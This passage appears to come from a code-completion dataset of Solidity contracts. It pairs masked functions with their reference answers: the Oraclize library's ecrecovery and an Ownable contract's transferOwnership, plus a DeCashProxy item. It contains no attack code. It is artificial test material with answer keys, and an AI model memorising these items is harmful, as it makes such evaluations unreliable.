price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } <FILL_FUNCTION> }
bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s);
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address)
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address)
619
Ownable
transferOwnership
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } }
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } <FILL_FUNCTION> function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } }
require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
function transferOwnership(address newOwner) public virtual onlyOwner
72401
DeCashProxy
null
contract DeCashProxy is DeCashBase, Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event ProxyInitiated(address indexed implementation); event ProxyUpgraded(address indexed implementation); // Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress) {<FILL_FUNCTION_BODY> } function upgrade(address _address) public onlyLatestContract("upgrade", msg.sender) { _setImplementation(_address); emit ProxyUpgraded(_address); } function initialize(address _address) external onlyOwner { require( !_getBool(keccak256(abi.encodePacked("proxy.init", address(this)))), "Proxy already initialized" ); _setImplementation(_address); _setBool(keccak256(abi.encodePacked("proxy.init", address(this))), true); emit ProxyInitiated(_address); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address _address) private { require(Address.isContract(_address), "address is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } /** * @dev Returns the current implementation address. */ function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } }
